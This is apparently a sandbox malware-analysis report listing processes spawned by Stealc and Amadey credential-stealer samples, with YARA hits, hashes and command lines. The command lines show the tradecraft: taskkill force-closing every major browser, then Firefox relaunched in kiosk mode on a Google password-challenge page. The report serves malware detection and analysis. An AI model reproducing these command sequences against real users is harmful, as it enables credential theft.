Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:07:21
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe"
Imagebase:	0x2c0000
File size:	2'120'192 bytes
MD5 hash:	1BD30BB80448545CC020F946EDA1D2F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2581347390.000000000101E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000003.2539631182.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2580073228.00000000002C1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:07:27
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe"
Imagebase:	0xd30000
File size:	2'928'128 bytes
MD5 hash:	B780913DE1C9D2A04A8CB5CE458255CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2672868739.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2618057573.00000000010FF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2604206292.00000000010FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2634291184.00000000010FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2604824615.00000000010FD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000003.2693167425.0000000001109000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:07:29
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe"
Imagebase:	0x5c0000
File size:	919'552 bytes
MD5 hash:	1D861B36E55E04FBC04FF38B5D152A08
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:07:29
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x5b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:07:29
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:07:32
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x5b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:07:32
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:07:32
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x5b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:07:32
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:07:32
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x5b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:07:32
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:07:32
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x5b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:07:32
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:07:32
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:07:33
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:07:33
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	00:07:34
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2256 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {282e8f47-e3e9-4c30-8f9f-bbd3739b8c96} 6148 "\\.\pipe\gecko-crash-server-pipe.6148" 295d4c69f10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	00:07:35
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe"
Imagebase:	0x2c0000
File size:	2'120'192 bytes
MD5 hash:	1BD30BB80448545CC020F946EDA1D2F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2770625069.00000000002C1000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.2678993762.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2772881272.000000000126B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:07:37
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002787001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002787001\num.exe"
Imagebase:	0x210000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2682454468.000000000022E000.00000002.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000000.2662848375.000000000022E000.00000002.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2681835070.0000000000211000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000000.2662760119.0000000000211000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:07:39
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe"
Imagebase:	0x920000
File size:	2'809'344 bytes
MD5 hash:	69E939844ED586ED304E0C4D9DB0BFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	00:07:43
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe"
Imagebase:	0xdb0000
File size:	1'904'640 bytes
MD5 hash:	CE9CCBFD31B6577D91367151D511A931
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000003.2745547028.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.2792577506.0000000000DB1000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:07:43
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4256 -parentBuildID 20230927232528 -prefsHandle 1524 -prefMapHandle 3964 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b04b7a86-ba51-4722-9e22-cfe6bd8623fe} 6148 "\\.\pipe\gecko-crash-server-pipe.6148" 295e5656610 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:07:43
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe"
Imagebase:	0x5c0000
File size:	919'552 bytes
MD5 hash:	1D861B36E55E04FBC04FF38B5D152A08
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	00:07:43
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x5b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	00:07:44
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	00:07:51
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002787001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002787001\num.exe"
Imagebase:	0x210000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000000.2811806473.000000000022E000.00000002.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000000.2811751180.0000000000211000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2830777733.000000000022E000.00000002.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2830712627.0000000000211000.00000080.00000001.01000000.00000017.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:07:52
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x5b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:07:52
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6eef20000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	00:07:52
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x5b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:07:52
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:07:53
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x5b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	00:07:53
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	00:07:53
Start date:	31/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x5b0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	00:07:53
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	00:07:53
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	00:07:53
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	00:07:56
Start date:	31/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2248 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2efdec49-002f-4730-b0e0-9b27dcd2796d} 3964 "\\.\pipe\gecko-crash-server-pipe.3964" 1b29bc70f10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	00:08:00
Start date:	31/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe"
Imagebase:	0xd30000
File size:	2'928'128 bytes
MD5 hash:	B780913DE1C9D2A04A8CB5CE458255CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.3%
Dynamic/Decrypted Code Coverage:	48%
Signature Coverage:	32%
Total number of Nodes:	25
Total number of Limit Nodes:	0

Executed Functions

Function 010268B3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 010268BD

Strings

C, xrefs: 01026ADA

Memory Dump Source

Source File: 00000004.00000002.2204872623.0000000001024000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000004.00000002.2204332587.0000000000E90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204360289.0000000000E92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204389276.0000000000E96000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204417101.0000000000E9A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204448054.0000000000EA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204609326.000000000100D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204666833.0000000001010000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204720932.0000000001020000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204839086.0000000001023000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204872623.000000000102E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204929957.0000000001033000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204958590.0000000001038000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2204989386.000000000103F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205015474.0000000001040000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205042138.0000000001041000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205068489.0000000001042000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205094833.0000000001043000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205121563.0000000001044000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205155459.000000000105C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205213896.000000000106D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205247582.000000000107B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205279055.000000000107E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205327132.000000000108C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205358374.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205395715.0000000001098000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205437464.0000000001099000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205470055.00000000010A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205498934.00000000010A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205538142.00000000010A3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205571973.00000000010A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205597672.00000000010B0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205627690.00000000010B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205653959.00000000010B2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205680408.00000000010B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205727438.00000000010B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205753275.00000000010B9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205783295.00000000010BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205829635.00000000010BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205855584.00000000010BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205916271.00000000010BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2205946344.00000000010C4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206005405.00000000010C5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206032827.00000000010C6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206086538.00000000010CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206157739.0000000001123000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206182305.0000000001124000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.000000000112D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206240059.0000000001134000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206294282.0000000001142000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2206313570.0000000001144000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_e90000_CMI46CXL3718GGL9UBA.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 0465c71b71449f0770b5c91448ac929d30d3bf363872ca721a2fe1a138e95036
Instruction ID: 24145301bf0095aaa8c18ce322cfd29d43e02df38b83d4d29d45b853064207a9
Opcode Fuzzy Hash: 0465c71b71449f0770b5c91448ac929d30d3bf363872ca721a2fe1a138e95036
